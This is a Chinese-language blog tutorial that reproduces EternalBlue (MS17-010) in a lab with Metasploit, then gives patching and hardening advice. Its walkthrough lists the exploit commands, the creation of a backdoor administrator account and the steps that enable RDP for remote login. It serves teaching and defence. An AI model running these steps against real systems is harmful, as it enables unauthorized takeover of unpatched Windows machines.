MS17-010(Eternal blue永恒之蓝)漏洞利用+修复方法

2024-06-22 17:12

本文主要是介绍MS17-010(Eternal blue永恒之蓝)漏洞利用+修复方法,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

一、漏洞简介

漏洞原理

影响版本

二、漏洞复现

三、复现过程

1、扫描局域网内的C段主机(主机发现)

扫描结果:

2.使用MSF的永恒之蓝漏洞模块

3.对主机进行扫描,查看其是否有永恒之蓝漏洞

4.准备攻击

四、漏洞利用

五、提升权限

1.创建新用户

2.将用户添加至管理员群组

3.查看端口的开启情况

六、远程登录

七、漏洞修复


一、漏洞简介

永恒之蓝(EternalBlue)是一个由美国国家安全局(NSA)开发的漏洞利用工具,最初在2017年由“影子经纪人”(Shadow Brokers)组织泄露。这个漏洞利用工具利用了Windows操作系统中的一个安全漏洞(CVE-2017-0144),允许攻击者远程执行代码,无需用户交互即可远程控制受感染的计算机。具体来说,它利用了Windows Server Message Block (SMB) v1协议中的漏洞,使得攻击者可以在目标系统上执行恶意代码,甚至可以在未经授权的情况下传播自身。

永恒之蓝漏洞的爆发引发了全球范围内的关注,尤其是在2017年的“惊叹号勒索软件”(WannaCry ransomware)攻击中,该漏洞被大规模利用,造成了数十万台计算机的感染和停机事件。这次攻击揭示了许多组织和公司在保护其网络安全方面的薄弱之处,也促使了更广泛的安全漏洞修复和网络防护措施的加强。

漏洞原理

永恒之蓝漏洞的利用基于Windows操作系统中的一个漏洞(CVE-2017-0144),主要涉及以下几个方面的技术细节:

  1. Windows SMB服务漏洞:漏洞利用了Windows操作系统中的Server Message Block (SMB) v1协议的一个安全漏洞。SMB协议是Windows系统用于文件和打印机共享的网络协议。

  2. 远程执行代码(RCE):漏洞允许攻击者通过发送特制的网络数据包,无需用户交互即可远程执行恶意代码。这使得攻击者可以获取目标系统的控制权。

  3. 无需身份验证:攻击者可以在不需要凭据或者认证的情况下利用漏洞,这使得漏洞的利用更为危险和普遍。

影响版本

永恒之蓝漏洞主要影响以下版本的Windows操作系统:

  • Windows Vista

  • Windows Server 2008

  • Windows 7

  • Windows Server 2008 R2

二、漏洞复现

环境

  1. 攻击机:Linux kali (IP:192.168.220.128)

  2. 靶机:Windows 7 旗舰版(IP;192.168.220.133)

环境说明:Windows 7 防火墙关闭,445端口打开,两台主机之间可以ping通

三、复现过程

1、扫描局域网内的C段主机(主机发现)

扫描结果:
  1. 192.168.220.2

    • 只有一个端口开放:53/tcp(domain)。这可能是一台运行DNS服务的设备。

  2. 192.168.220.128

    • 所有扫描的1000个端口都处于“ignored states”状态,表示这台主机在扫描时未给出具体的端口状态信息。这可能是由于网络或主机的防火墙设置等原因导致的。

  3. 192.168.220.133

    • 多个端口开放,包括80/tcp(http)、135/tcp(msrpc)、139/tcp(netbios-ssn)、445/tcp(microsoft-ds)、5357/tcp(wsdapi)以及一系列高端口(49152-49165/tcp)。

    • 这表明这台主机可能是一台Windows主机,同时运行了HTTP服务、Microsoft RPC服务、NetBIOS服务、以及一些未知用途的高端口服务。

2.使用MSF的永恒之蓝漏洞模块

打开MSF

msfconsole

这个界面每次都不相同。

搜索漏洞代码:ms17_010

search ms17_010

这里可以看到26个可以利用的模块及其描述:

  1. exploit/windows/smb/ms17_010_eternalblue

    • 揭露日期:2017-03-14

    • 等级:average

    • 检查:Yes

    • 描述:MS17-010 EternalBlue SMB远程Windows内核池损坏漏洞利用,用于执行远程代码。

    目标包括:

    • Windows 7

    • Windows Embedded Standard 7

    • Windows Server 2008 R2

    • Windows 8

    • Windows 8.1

    • Windows Server 2012

    • Windows 10 Pro

    • Windows 10 Enterprise Evaluation

    这个模块利用了SMB服务上的漏洞,通常使用的是TCP端口445。

  2. exploit/windows/smb/ms17_010_psexec

    • 揭露日期:2017-03-14

    • 等级:normal

    • 检查:Yes

    • 描述:MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB远程Windows代码执行漏洞利用。

    目标包括:

    • 自动目标

    • PowerShell

    • 本地上传(Native upload)

    • MOF上传(MOF upload)

    这个模块利用了SMB服务上的漏洞,同样使用的是TCP端口445。

  3. auxiliary/admin/smb/ms17_010_command

    • 揭露日期:2017-03-14

    • 等级:normal

    • 检查:No

    • 描述:MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB远程Windows命令执行辅助模块。

    这个模块用于执行远程命令,同样是基于SMB服务上的漏洞,端口也是TCP端口445。

  4. auxiliary/scanner/smb/smb_ms17_010

    • 揭露日期:未指定

    • 等级:normal

    • 检查:No

    • 描述:MS17-010 SMB远程执行代码检测辅助模块。

    这个模块用于检测目标系统是否受到MS17-010漏洞的影响,同样基于SMB服务,端口是TCP端口445。

3.对主机进行扫描,查看其是否有永恒之蓝漏洞

使用模块24开始攻击:use 24,也可以用use scanner/smb/smb_ms17_010

options查看需要设置的参数

设置目标主机set rhost 192.168.220.133,设置成功会返回rhost的值,用run开始

  • VULNERABLE to MS17-010:扫描结果显示目标主机存在MS17-010漏洞,即永恒之蓝漏洞。

  • 操作系统信息:目标主机运行的是 Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit) 操作系统。

4.准备攻击

使用模块0开始攻击:use 0,也可以用use windows/smb/ms17_010_eternalblue

查看需要设置的参数:options

设置目标ip地址

set rhost 192.168.220.133

run

看到win说明成功

四、漏洞利用

获取靶机shell

shell

乱码是因为linux和windows的编码方式不同导致

使用代码:chcp 65001

查看IP:ipconfig

五、提升权限

1.创建新用户

net user bai 123456 /add

bai是用户名,12456是密码

2.将用户添加至管理员群组

net localgroup administrators bai /add

3.查看端口的开启情况

netstat -ano

4.开启3389端口

输入exit退出命令行,在meterpreter中输入run post/windows/manage/enable_rdp

查看端口

成功开启3389端口

六、远程登录

打开一个新终端,输入rdesktop 192.168.220.133

中途会让确认,输入yes确认

选择其他用户

输入我们刚才新加的用户名和密码

登录成功!

七、漏洞修复

永恒之蓝漏洞(EternalBlue)是一个影响Windows操作系统的严重安全漏洞,可被用于远程执行代码攻击。微软已经发布了修复补丁来解决这个漏洞,以及其他相关的安全更新。以下是修复永恒之蓝漏洞的主要方法:

  1. 安装官方补丁

    • 确保系统上安装了最新的安全补丁。微软已经发布了修复EternalBlue漏洞的补丁。您可以访问微软的官方网站或使用Windows Update来获取并安装最新的安全补丁。

  2. 更新操作系统

    • 确保操作系统是最新的版本,并且所有的安全更新和补丁都已安装。及时更新操作系统是保持系统安全的重要步骤之一。

  3. 禁用不必要的服务

    • 如果不需要使用远程桌面服务(RDP)或SMB服务,可以考虑禁用或限制它们的使用。尽可能减少系统暴露在外部攻击面。

  4. 配置防火墙

    • 在防火墙上设置规则,限制远程访问和网络流量,防止未经授权的访问和攻击。

  5. 网络隔离

    • 将重要的系统和网络基础设施隔离在内部网络中,减少来自外部网络的直接访问。

  6. 使用安全软件

    • 安装和使用有效的安全软件,如防病毒软件、防火墙和入侵检测系统(IDS),帮助识别和阻止潜在的威胁。

这篇关于MS17-010(Eternal blue永恒之蓝)漏洞利用+修复方法的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1084909

相关文章

Python错误AttributeError: 'NoneType' object has no attribute问题的彻底解决方法

《Python错误AttributeError:NoneTypeobjecthasnoattribute问题的彻底解决方法》在Python项目开发和调试过程中,经常会碰到这样一个异常信息... 目录问题背景与概述错误解读:AttributeError: 'NoneType' object has no at

postgresql使用UUID函数的方法

《postgresql使用UUID函数的方法》本文给大家介绍postgresql使用UUID函数的方法,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录PostgreSQL有两种生成uuid的方法。可以先通过sql查看是否已安装扩展函数,和可以安装的扩展函数

Java中Arrays类和Collections类常用方法示例详解

《Java中Arrays类和Collections类常用方法示例详解》本文总结了Java中Arrays和Collections类的常用方法,涵盖数组填充、排序、搜索、复制、列表转换等操作,帮助开发者高... 目录Arrays.fill()相关用法Arrays.toString()Arrays.sort()A

Nginx安全防护的多种方法

《Nginx安全防护的多种方法》在生产环境中,需要隐藏Nginx的版本号,以避免泄漏Nginx的版本,使攻击者不能针对特定版本进行攻击,下面就来介绍一下Nginx安全防护的方法,感兴趣的可以了解一下... 目录核心安全配置1.编译安装 Nginx2.隐藏版本号3.限制危险请求方法4.请求限制(CC攻击防御)

python生成随机唯一id的几种实现方法

《python生成随机唯一id的几种实现方法》在Python中生成随机唯一ID有多种方法,根据不同的需求场景可以选择最适合的方案,文中通过示例代码介绍的非常详细,需要的朋友们下面随着小编来一起学习学习... 目录方法 1:使用 UUID 模块(推荐)方法 2:使用 Secrets 模块(安全敏感场景)方法

MyBatis-Plus通用中等、大量数据分批查询和处理方法

《MyBatis-Plus通用中等、大量数据分批查询和处理方法》文章介绍MyBatis-Plus分页查询处理,通过函数式接口与Lambda表达式实现通用逻辑,方法抽象但功能强大,建议扩展分批处理及流式... 目录函数式接口获取分页数据接口数据处理接口通用逻辑工具类使用方法简单查询自定义查询方法总结函数式接口

MySQL深分页进行性能优化的常见方法

《MySQL深分页进行性能优化的常见方法》在Web应用中,分页查询是数据库操作中的常见需求,然而,在面对大型数据集时,深分页(deeppagination)却成为了性能优化的一个挑战,在本文中,我们将... 目录引言:深分页,真的只是“翻页慢”那么简单吗?一、背景介绍二、深分页的性能问题三、业务场景分析四、

JAVA中安装多个JDK的方法

《JAVA中安装多个JDK的方法》文章介绍了在Windows系统上安装多个JDK版本的方法,包括下载、安装路径修改、环境变量配置(JAVA_HOME和Path),并说明如何通过调整JAVA_HOME在... 首先去oracle官网下载好两个版本不同的jdk(需要登录Oracle账号,没有可以免费注册)下载完

Java中读取YAML文件配置信息常见问题及解决方法

《Java中读取YAML文件配置信息常见问题及解决方法》:本文主要介绍Java中读取YAML文件配置信息常见问题及解决方法,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要... 目录1 使用Spring Boot的@ConfigurationProperties2. 使用@Valu

Java 方法重载Overload常见误区及注意事项

《Java方法重载Overload常见误区及注意事项》Java方法重载允许同一类中同名方法通过参数类型、数量、顺序差异实现功能扩展,提升代码灵活性,核心条件为参数列表不同,不涉及返回类型、访问修饰符... 目录Java 方法重载(Overload)详解一、方法重载的核心条件二、构成方法重载的具体情况三、不构